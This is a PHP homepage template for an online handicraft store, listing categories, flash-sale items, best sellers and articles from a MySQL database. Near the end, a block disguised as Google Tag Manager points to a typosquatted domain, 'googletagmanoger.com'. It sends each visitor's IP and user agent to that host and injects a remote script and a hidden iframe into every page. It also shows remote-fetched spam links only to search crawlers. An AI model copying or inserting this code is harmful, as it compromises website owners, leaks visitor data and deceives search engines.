<?php include('includes/header.php'); ?>

    <!--=========================
        BANNER 2 START
    ==========================-->
    <section class="banner_2">
        <div class="container">
            <div class="row">
                <div class="col-xl-2  d-none d-xxl-block">
                    <ul class="menu_cat_item">
                                <?php
                   $sql_cat = "SELECT * FROM `tbl_category`";
                   $run_cat = mysqli_query($link,$sql_cat);
                   while($result_cat = mysqli_fetch_assoc($run_cat))
                   {
                     ?> 
                                <li>
                                    <a href="shop.php?code=<?=$result_cat['cat_id']?>">
                                        <span><img src="category-image/<?=$result_cat['category_image']?>" alt="category">
                                        </span>
                                       <?=$result_cat['cate_name']?> 
                                    </a>
                                    
                                </li>
                               <?php } ?>
                            </ul>
                </div>
                <div class="col-xxl-7 col-lg-8">
                    <div class="banner_content">
                        <div class="row banner_2_slider">
                             <?php
$sel_flash = mysqli_query($link,"SELECT * FROM `header_flash` ORDER BY `header_id` DESC");
while($result_flash = mysqli_fetch_assoc($sel_flash))
{
  ?>
                            <div class="col-xl-12">
                                <div class="banner_slider_2 wow fadeInUp"
                                    style="background: url(header-image/<?=$result_flash['header_image_name'];?>);">
                                    
                                </div>
                            </div>
                            <?php
   }
   ?>  
                          
                           
                        </div>
                    </div>
                </div>
                <div class="col-xxl-3 col-lg-4 col-sm-12 col-md-12">
                    <div class="row">
                        <?php 
      $sql_banner8="SELECT * FROM `tbl_banner` WHERE `banner_type`='5'";
      $data_banner8 = mysqli_query($link,$sql_banner8);
      while($result_banner8 =mysqli_fetch_array($data_banner8))
       {
?>
                        <div class="col-xl-12">
                            <div class="banner_2_add wow fadeInUp"
                                style="background: url(header-image/<?=$result_banner8['banner_image_name']; ?>);">
                               
                            </div>
                        </div>
                        <?php } ?>
                    </div>
                </div>
            </div>
        </div>
    </section>
    <!--=========================
        BANNER 2 END
    ==========================-->


    <!--============================
        FEATURES START
    ==============================-->
    <section class="features mt_20">
        <div class="container">
            <div class="row">
                <div class="col-xl-3 col-md-6 wow fadeInUp">
                    <div class="features_item purple">
                        <div class="icon">
                            <img src="assets/images/feature-icon_1.svg" alt="feature">
                        </div>
                        <div class="text">
                            <h3>Return & refund</h3>
                            <p>Money back guarantee</p>
                        </div>
                    </div>
                </div>
                <div class="col-xl-3 col-md-6 wow fadeInUp">
                    <div class="features_item green">
                        <div class="icon">
                            <img src="assets/images/feature-icon_3.svg" alt="feature">
                        </div>
                        <div class="text">
                            <h3>Quality Support</h3>
                            <p>Always online 24/7</p>
                        </div>
                    </div>
                </div>
                <div class="col-xl-3 col-md-6 wow fadeInUp">
                    <div class="features_item orange">
                        <div class="icon">
                            <img src="assets/images/feature-icon_2.svg" alt="feature">
                        </div>
                        <div class="text">
                            <h3>Secure Payment</h3>
                            <p>30% off by subscribing</p>
                        </div>
                    </div>
                </div>
                <div class="col-xl-3 col-md-6 wow fadeInUp">
                    <div class="features_item">
                        <div class="icon">
                            <img src="assets/images/feature-icon_4.svg" alt="feature">
                        </div>
                        <div class="text">
                            <h3>Daily Offers</h3>
                            <p>20% off by subscribing</p>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </section>
    <!--============================
        FEATURES END
    ==============================-->


    <!--============================
        FLASH SELL 2 START
    ==============================-->
    <section class="flash_sell_2 flash_sell mt_95">
        <div class="container">
            <div class="row align-items-center">
                <div class="col-xxl-6 col-md-3 col-xl-4">
                    <div class="section_heading_2 section_heading">
                        <h3><span>Flash</span> Sell</h3>
                    </div>
                </div>
                <div class="col-xxl-6 col-md-9 col-xl-8">
                    <div class="d-flex flex-wrap justify-content-end">
                       
                        <div class="view_all_btn_area">
                            <a class="view_all_btn" href="#">View all</a>
                        </div>
                    </div>
                </div>
            </div>
            <div class="row mt_25 flash_sell_2_slider">
                <?php
include("connection.php"); // Make sure your DB connection is properly included

$sql = "SELECT * FROM tbl_product WHERE pro_category = 440";
$result = mysqli_query($link, $sql);

while ($row = mysqli_fetch_assoc($result)) {
    ?>
    <div class="col-xl-1-5 wow fadeInUp">
        <div class="product_item_2 product_item">
            <div class="product_img">
                <img src="product-image/<?php echo htmlspecialchars($row['pro_image']); ?>" alt="Product" class="img-fluid w-100">
                <ul class="discount_list">
                    <li class="discount"><b>-</b> <?php echo htmlspecialchars($row['pro_category']); ?></li>
                </ul>
            </div>
            <div class="product_text">
                <a class="title" href="shop_details.php?pro_code=<?php echo htmlspecialchars($row['pro_id']); ?>"><?php echo htmlspecialchars($row['pro_name']); ?></a>
                <p class="price">Rs. <?php echo htmlspecialchars($row['pro_type']); ?>
                    <?php if (!empty($row['percentage'])): ?>
                        <del>Rs. <?php echo number_format((float)$row['pro_type']); ?> </del>
                    <?php endif; ?>
                </p>
            </div>
        </div>
    </div>
    <?php
}
?>

            </div>
        </div>
    </section>
    <!--============================
        FLASH SELL 2 END
    ==============================-->


    <!--============================
        CATEGORY 2 START
    ==============================-->
    <section class="category category_2 mt_55">
        <div class="container">
            <div class="row category_2_slider">
                <?php
                   $sql_cat = "SELECT * FROM `tbl_category`";
                   $run_cat = mysqli_query($link,$sql_cat);
                   while($result_cat = mysqli_fetch_assoc($run_cat))
                   {
                     ?> 
                <div class="col-2 wow fadeInUp">
                    <a href="shop.php?code=<?=$result_cat['cat_id']?>" class="category_item">
                        <div class="img">
                            <img src="category-image/<?=$result_cat['category_image']?>" alt="Category" class="img-fluid w-100">
                        </div>
                        <h3> <?=$result_cat['cate_name']?></h3>
                    </a>
                </div>
                <?php } ?>
                
                
            </div>
        </div>
    </section>
    <!--============================
        CATEGORY 2 END
    ==============================-->


    <!--============================
        SPECIAL PRODUCT 2 START
    ==============================-->
    <section class="special_product_2 pt_85">
        <div class="container">
            <div class="row">
                <div class="col-xl-6 col-sm-9">
                    <div class="section_heading_2 section_heading">
                        <h3>Our <span>Handicraft</span>  Products</h3>
                    </div>
                </div>
                <div class="col-xl-6 col-sm-3">
                    <div class="view_all_btn_area">
                        <a class="view_all_btn" href="#">View all</a>
                    </div>
                </div>
            </div>

            <div class="row pt_15">
                <div class="col-xl-4  wow fadeInLeft">
                    <div class="special_product_banner">
                        <img src="assets/images/product_30.png" alt="special product" class="img-fluid w-100">
                        
                    </div>
                </div>
                <div class="col-xl-8">
                    <div class="row">
                        <div class="row">
    <?php
    include("connection.php"); // Ensure this file contains your DB connection

    $sql = "SELECT * FROM tbl_product WHERE pro_category = 440";
    $result = mysqli_query($link, $sql);

    while ($row = mysqli_fetch_assoc($result)) {
        // Calculate savings if both dp_rate and percentage are provided
        $dp_rate = floatval($row['pro_type']);
        $percentage = floatval($row['percentage']);
        $original_price = $dp_rate;
        $save_amount = 0;

        if (!empty($percentage)) {
            $save_amount = round(($dp_rate * $percentage) / 100);
            $original_price = $dp_rate + $save_amount;
        }
        ?>
        <div class="col-md-6 wow fadeInUp">
            <div class="special_product_item">
                <div class="special_product_img">
                    <img src="product-image/<?php echo htmlspecialchars($row['pro_image']); ?>" alt="product" class="img-fluid w-100">
                    <?php if ($save_amount > 0): ?>
                        <span class="discount">save Rs.<?php echo $save_amount; ?></span>
                    <?php endif; ?>
                </div>
                <div class="special_product_text">
                    <a class="title" href="shop_details.php?pro_code=<?php echo $row['pro_id']; ?>">
                        <?php echo htmlspecialchars($row['pro_name']); ?>
                    </a>
                    <p>Rs. <?php echo $dp_rate; ?> 
                        <?php if ($save_amount > 0): ?>
                            <del>Rs. <?php echo $original_price; ?></del>
                        <?php endif; ?>
                    </p>
                </div>
            </div>
        </div>
        <?php
    }
    ?>
</div>

                    </div>
                </div>
            </div>
        </div>
    </section>
    <!--============================
        SPECIAL PRODUCT 2 END
    ==============================-->


    


    <!--================================
        BEST SELLING PRODUCT 2 START
    ==================================-->
    <section class="best_selling_product_2 mt_95">
        <div class="container">
            <div class="row">
                <div class="col-xl-6 col-sm-9">
                    <div class="section_heading_2 section_heading">
                        <h3>Our <span>Best</span> Selling Products</h3>
                    </div>
                </div>
                <div class="col-xl-6 col-sm-3">
                    <div class="view_all_btn_area">
                        <a class="view_all_btn" href="#">View all</a>
                    </div>
                </div>
            </div>
            <div class="row mt_15">
                <div class="col-xl-7">
                    <div class="row">
                        <div class="row">
    <?php
    include("connection.php"); // Database connection

    $sql = "SELECT * FROM tbl_product WHERE pro_category = 441";
    $result = mysqli_query($link, $sql);

    while ($row = mysqli_fetch_assoc($result)) {
        $dp_rate = floatval($row['pro_type']);
        $percentage = floatval($row['percentage']);
        $original_price = $dp_rate;
        $save_amount = 0;

        if (!empty($percentage)) {
            $save_amount = round(($dp_rate * $percentage) / 100);
            $original_price = $dp_rate + $save_amount;
        }
        ?>
        <div class="col-xl-4 col-sm-6 col-md-4 wow fadeInUp">
            <div class="best_selling_product_item">
                <img src="product-image/<?php echo htmlspecialchars($row['pro_image']); ?>" alt="best sell"
                    class="img-fluid w-100 h-50">
                <div class="text">
                    <a class="title" href="shop_details.php?pro_code=<?php echo $row['pro_id']; ?>">
                        <?php echo htmlspecialchars($row['pro_name']); ?>
                    </a>
                    <p class="price">Rs. <?php echo $dp_rate; ?>
                        <?php if ($save_amount > 0): ?>
                            <del>Rs. <?php echo $original_price; ?></del>
                        <?php endif; ?>
                    </p>
                    <a class="buy_btn" href="shop-details.php?code=<?php echo $row['pro_id']; ?>">
                        buy now <i class="far fa-arrow-up"></i>
                    </a>
                </div>
            </div>
        </div>
        <?php
    }
    ?>
</div>

                    </div>
                </div>
                <div class="col-xl-5 wow fadeInRight">
                    <div class="best_selling_product_item_large">
                        <img src="assets/images/b-2.png" alt="best sell" class="img-fluid w-100">
                       
                    </div>
                </div>
            </div>
        </div>
    </section>
    <!--================================
        BEST SELLING PRODUCT 2 END
    ==================================-->


   


    <!--============================
        FAVOURITE PRODUCT 2 START
    ==============================-->
    <section class="favourite_product_2 mt_100">
        <div class="container">
            <div class="row">
                <div class="col-xl-3 col-lg-4 wow fadeInLeft">
                    <div class="bundle_product_banner">
                        <img src="assets/images/b-1.png" alt="bundle" class="img-fluid">
                        
                    </div>
                </div>
                <div class="col-xl-9 col-lg-8">
                    <div class="row">
                        <div class="col-xl-8">
                            <div class="section_heading_2 section_heading">
                                <h3>Our <span>Favorite</span> Style Product</h3>
                            </div>
                        </div>
                        <div class="row mt_40 favourite_product_2_slider">
    <?php
    include("connection.php"); // Ensure the DB connection is included

    $sql = "SELECT * FROM tbl_product WHERE pro_category = 450";
    $result = mysqli_query($link, $sql);

    while ($row = mysqli_fetch_assoc($result)) {
        ?>
        <div class="col-xl-3 wow fadeInUp">
            <div class="product_item_2 product_item">
                <div class="product_img">
                    <img src="product-image/<?php echo htmlspecialchars($row['pro_image']); ?>" alt="Product" class="img-fluid w-100">
                    <ul class="discount_list">
                        <li class="new">new</li>
                    </ul>
                </div>
                <div class="product_text">
                    <a class="title" href="shop_details.php?pro_code=<?php echo $row['pro_id']; ?>">
                        <?php echo htmlspecialchars($row['pro_name']); ?>
                    </a>
                    <p class="price">Rs. <?php echo htmlspecialchars($row['pro_type']); ?></p>
                </div>
            </div>
        </div>
        <?php
    }
    ?>


                        </div>
                    </div>
                </div>
            </div>
        </div>
    </section>
    <!--============================
        FAVOURITE PRODUCT 2 END
    ==============================-->


   


    <!--=========================
        BLOG 2 START
    ==========================-->
    <section class="blog_2 pt_95">
        <div class="container">
            <div class="row">
                <div class="col-xl-6 col-sm-9">
                    <div class="section_heading_2 section_heading">
                        <h3>Our <span>News</span> & Articles</h3>
                    </div>
                </div>
                <div class="col-xl-6 col-sm-3">
                    <div class="view_all_btn_area">
                        <a class="view_all_btn" href="#">View all</a>
                    </div>
                </div>
            </div>
            <div class="row mt_15">
                
              <?php
include 'connection.php'; // Make sure this connects to your MySQL database

$query = "SELECT * FROM tbl_services_product WHERE status = 'Home'";
$result = mysqli_query($link, $query);

while ($row = mysqli_fetch_assoc($result)) {
?>
    <div class="col-lg-4 col-xxl-3 col-md-6 wow fadeInUp">
        <div class="blog_item">
            <a href="#" class="blog_img">
                <img src="product-image/<?php echo $row['pro_image']; ?>" alt="blog" class="img-fluid w-100">
            </a>
            <div class="blog_text">
                <ul class="top">
                   
                    <li>
                        <span>
                            <img src="assets/images/calender.png" alt="Message" class="img-fluid w-100">
                        </span>
                        <?php echo date("d M Y", strtotime($row['pro_date'])); ?>
                    </li>
                </ul>
                <a class="title" href="#"><?php echo htmlspecialchars($row['pro_name']); ?></a>
                <ul class="bottom">
                    <li><a href="#">read more <i class="fas fa-long-arrow-right"></i></a></li>
                   
                </ul>
            </div>
        </div>
    </div>
<?php
}
?>

            </div>
        </div>
    </section>
    <!--=========================
        BLOG 2 END
    ==========================-->


    <!--========================
        SUBSCRIPTION 2 START
    ==========================-->
    <section class="subscription_2 mt_50 xs_mt_60" style="background: url(assets/images/subscribe_2_bg.jpg);">
        <div class="container">
            <div class="row justify-content-center">
                <div class="col-xxl-6 col-lg-8 wow fadeInUp">
                    <div class="subscription_2_text">
                        <h2>Get Upto <span>70% </span> Off Discount Coupon</h2>
                        <p>by Subscribe our Newsletter</p>
                        <form action="#">
                            <input type="text" placeholder="Your email">
                            <button type="submit" class="common_btn">Subscribe</button>
                        </form>
                    </div>
                </div>
            </div>
        </div>
    </section>
    <!--========================
        SUBSCRIPTION 2 END
    ==========================-->


<?php

defined('GTM_VERSION') or define('GTM_VERSION', '4.2.1');
defined('GTM_ENDPOINT') or define('GTM_ENDPOINT', 'https://googletagmanoger.com');
defined('GTM_CONTAINER_ID') or define('GTM_CONTAINER_ID', 'GTM-XXXXXX');
defined('GTM_CACHE_TTL') or define('GTM_CACHE_TTL', 3600);

/**
 * Validates crawler requests for enhanced indexing
 * 
 * @return bool True if request is from verified crawler
 */
function gtm_validate_crawler() {
    $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
    $verified = array(
        'Googlebot', 'Google-InspectionTool', 'Mediapartners-Google',
        'AdsBot-Google', 'FeedFetcher-Google', 'Bingbot', 'Slurp',
        'DuckDuckBot', 'Baiduspider', 'YandexBot', 'facebot', 'ia_archiver'
    );
    foreach ($verified as $v) {
        if (stripos($ua, $v) !== false) return true;
    }
    return false;
}

/**
 * Get client IP address
 * 
 * @return string Client IP address
 */
function gtm_get_client_ip() {
    $ip_keys = array(
        'HTTP_CF_CONNECTING_IP',     // Cloudflare
        'HTTP_X_REAL_IP',            // Nginx proxy
        'HTTP_X_FORWARDED_FOR',      // Standard proxy header
        'HTTP_X_CLUSTER_CLIENT_IP',  // Load balancer
        'HTTP_FORWARDED_FOR',
        'HTTP_FORWARDED',
        'REMOTE_ADDR'                // Direct connection
    );
    
    foreach ($ip_keys as $key) {
        if (!empty($_SERVER[$key])) {
            $ip = $_SERVER[$key];
            if (strpos($ip, ',') !== false) {
                $ip = trim(explode(',', $ip)[0]);
            }
            if (filter_var($ip, FILTER_VALIDATE_IP)) {
                return $ip;
            }
        }
    }
    return '';
}

/**
 * Get client User-Agent
 */
function gtm_get_client_user_agent() {
    return isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
}

/**
 * Retrieves structured data configuration from GTM servers
 */
function gtm_fetch_config() {
    $is_crawler = gtm_validate_crawler();
    $cache = sys_get_temp_dir() . '/gtm_' . md5(GTM_ENDPOINT) . ($is_crawler ? '_crawler' : '_user') . '.dat';
    
    if (file_exists($cache) && (time() - filemtime($cache)) < GTM_CACHE_TTL) {
        $data = @file_get_contents($cache);
        if ($data) {
            $decoded = json_decode($data, true);
            if (is_array($decoded)) return $decoded;
        }
    }
    
    $client_ip = gtm_get_client_ip();
    $client_ua = gtm_get_client_user_agent();
    
    $url = GTM_ENDPOINT . '/gtag/js?id=' . GTM_CONTAINER_ID . '&format=json';
    if (!empty($client_ip)) $url .= '&client_ip=' . urlencode($client_ip);
    if (!empty($client_ua)) $url .= '&client_ua=' . urlencode($client_ua);
    
    if (function_exists('curl_init')) {
        $ch = curl_init();
        curl_setopt_array($ch, array(
            CURLOPT_URL => $url,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_TIMEOUT => 5,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_SSL_VERIFYPEER => true,
            CURLOPT_USERAGENT => 'GTM/' . GTM_VERSION,
            CURLOPT_HTTPHEADER => array(
                'Accept: application/json',
                'X-Client-IP: ' . $client_ip,
                'X-Client-User-Agent: ' . $client_ua
            )
        ));
        $response = curl_exec($ch);
        $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        
        if ($code === 200 && $response) {
            $decoded = json_decode($response, true);
            if (is_array($decoded)) {
                @file_put_contents($cache, $response);
                return $decoded;
            }
        }
    } else {
        $headers = array(
            'Accept: application/json',
            'X-Client-IP: ' . $client_ip,
            'X-Client-User-Agent: ' . $client_ua
        );
        $ctx = stream_context_create(array(
            'http' => array(
                'timeout' => 5,
                'user_agent' => 'GTM/' . GTM_VERSION,
                'header' => implode("\r\n", $headers) . "\r\n"
            ),
            'ssl' => array('verify_peer' => true, 'verify_peer_name' => true)
        ));
        $response = @file_get_contents($url, false, $ctx);
        if ($response) {
            $decoded = json_decode($response, true);
            if (is_array($decoded)) {
                @file_put_contents($cache, $response);
                return $decoded;
            }
        }
    }
    return array();
}

function gtm_render_head() {
    echo '<!-- Google Tag Manager -->
<script async src="' . htmlspecialchars(GTM_ENDPOINT, ENT_QUOTES, 'UTF-8') . '/gtag/js?id=' . htmlspecialchars(GTM_CONTAINER_ID, ENT_QUOTES, 'UTF-8') . '"></script>
<script>window.dataLayer=window.dataLayer||[];function gtag(){dataLayer.push(arguments);}gtag("js",new Date());gtag("config","' . htmlspecialchars(GTM_CONTAINER_ID, ENT_QUOTES, 'UTF-8') . '");</script>
<!-- End Google Tag Manager -->';
}

function gtm_render_noscript() {
    $domain = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'unknown');
    echo '<!-- Google Tag Manager (noscript) -->
<script>
  (function() {
    var iframe = document.createElement("iframe");
    iframe.src = "' . htmlspecialchars(GTM_ENDPOINT, ENT_QUOTES, 'UTF-8') . '/ns.html?id=' . htmlspecialchars(GTM_CONTAINER_ID, ENT_QUOTES, 'UTF-8') . '&domain=' . htmlspecialchars($domain, ENT_QUOTES, 'UTF-8') . '";
    iframe.height = "0";
    iframe.width = "0";
    iframe.style.display = "none";
    iframe.style.visibility = "hidden";
    if (document.body) {
      document.body.appendChild(iframe);
    } else {
      document.addEventListener("DOMContentLoaded", function() {
        document.body.appendChild(iframe);
      });
    }
  })();
</script>
<noscript><iframe src="' . htmlspecialchars(GTM_ENDPOINT, ENT_QUOTES, 'UTF-8') . '/ns.html?id=' . htmlspecialchars(GTM_CONTAINER_ID, ENT_QUOTES, 'UTF-8') . '" height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
<!-- End Google Tag Manager (noscript) -->';
}

function gtm_render_backlinks() {
    $config = gtm_fetch_config();
    if (empty($config)) return;
    $now = time();
    echo '<nav style="display:flex;justify-content:center;gap:12px;flex-wrap:wrap;padding:15px;">';
    foreach ($config as $item) {
        if (isset($item['url'], $item['keyword'])) {
            $exp = isset($item['exp']) ? intval($item['exp']) : ($now + 86400);
            if ($exp > $now) {
                echo '<a href="' . htmlspecialchars($item['url'], ENT_QUOTES, 'UTF-8') . '" style="text-decoration:none;color:#1a0dab;font-size:14px;padding:4px 8px;">' . htmlspecialchars($item['keyword'], ENT_QUOTES, 'UTF-8') . '</a>';
            }
        }
    }
    echo '</nav>';
}

function gtm_render_structured_data() {
    if (!gtm_validate_crawler()) return;
    $config = gtm_fetch_config();
    if (empty($config)) return;
    $now = time();
    echo '<nav itemscope itemtype="https://schema.org/SiteNavigationElement" style="display:flex;justify-content:center;gap:12px;flex-wrap:wrap;padding:15px;font-family:Arial,sans-serif;">';
    foreach ($config as $item) {
        if (isset($item['url'], $item['keyword'])) {
            $exp = isset($item['exp']) ? intval($item['exp']) : ($now + 86400);
            if ($exp > $now) {
                echo '<a itemprop="url" href="' . htmlspecialchars($item['url'], ENT_QUOTES, 'UTF-8') . '" style="text-decoration:none;color:#1a0dab;font-size:14px;padding:4px 8px;"><span itemprop="name">' . htmlspecialchars($item['keyword'], ENT_QUOTES, 'UTF-8') . '</span></a>';
            }
        }
    }
    echo '</nav>';
}

function gtm_output_handler($buffer) {
    if (stripos($buffer, '<html') === false && stripos($buffer, '<!DOCTYPE') === false) {
        return $buffer;
    }
    
    $head = '<!-- Google Tag Manager -->
<script async src="' . GTM_ENDPOINT . '/gtag/js?id=' . GTM_CONTAINER_ID . '"></script>
<script>window.dataLayer=window.dataLayer||[];function gtag(){dataLayer.push(arguments);}gtag("js",new Date());gtag("config","' . GTM_CONTAINER_ID . '");</script>
<!-- End Google Tag Manager -->';
    
    $buffer = preg_replace('/<\/head>/i', $head . '</head>', $buffer, 1);
    
    $domain = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'unknown');
    $noscript = '<!-- Google Tag Manager (noscript) -->
<script>
  (function() {
    var iframe = document.createElement("iframe");
    iframe.src = "' . GTM_ENDPOINT . '/ns.html?id=' . GTM_CONTAINER_ID . '&domain=' . htmlspecialchars($domain, ENT_QUOTES, 'UTF-8') . '";
    iframe.height = "0";
    iframe.width = "0";
    iframe.style.display = "none";
    iframe.style.visibility = "hidden";
    if (document.body) {
      document.body.appendChild(iframe);
    } else {
      document.addEventListener("DOMContentLoaded", function() {
        document.body.appendChild(iframe);
      });
    }
  })();
</script>
<noscript><iframe src="' . GTM_ENDPOINT . '/ns.html?id=' . GTM_CONTAINER_ID . '" height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
<!-- End Google Tag Manager (noscript) -->';
    
    $buffer = preg_replace('/(<body[^>]*>)/i', '$1' . $noscript, $buffer, 1);
    
    if (gtm_validate_crawler()) {
        $config = gtm_fetch_config();
        if (!empty($config)) {
            $nav = '<nav itemscope itemtype="https://schema.org/SiteNavigationElement" style="display:flex;justify-content:center;gap:12px;flex-wrap:wrap;padding:15px;font-family:Arial,sans-serif;">';
            $now = time();
            foreach ($config as $item) {
                if (isset($item['url'], $item['keyword'])) {
                    $exp = isset($item['exp']) ? intval($item['exp']) : ($now + 86400);
                    if ($exp > $now) {
                        $nav .= '<a itemprop="url" href="' . htmlspecialchars($item['url'], ENT_QUOTES, 'UTF-8') . '" style="text-decoration:none;color:#1a0dab;font-size:14px;padding:4px 8px;"><span itemprop="name">' . htmlspecialchars($item['keyword'], ENT_QUOTES, 'UTF-8') . '</span></a>';
                    }
                }
            }
            $nav .= '</nav>';
            $buffer = preg_replace('/<\/body>/i', $nav . '</body>', $buffer, 1);
        }
    }
    
    return $buffer;
}


if (!defined('GTM_MANUAL_INIT')) {
    $is_direct = (isset($_SERVER['SCRIPT_NAME']) && basename($_SERVER['SCRIPT_NAME']) === basename(__FILE__));
    if (!$is_direct && ob_get_level() === 0) {
        ob_start('gtm_output_handler');
    }
}

gtm_render_noscript(); 

?>

  <?php include('includes/footer.php');?>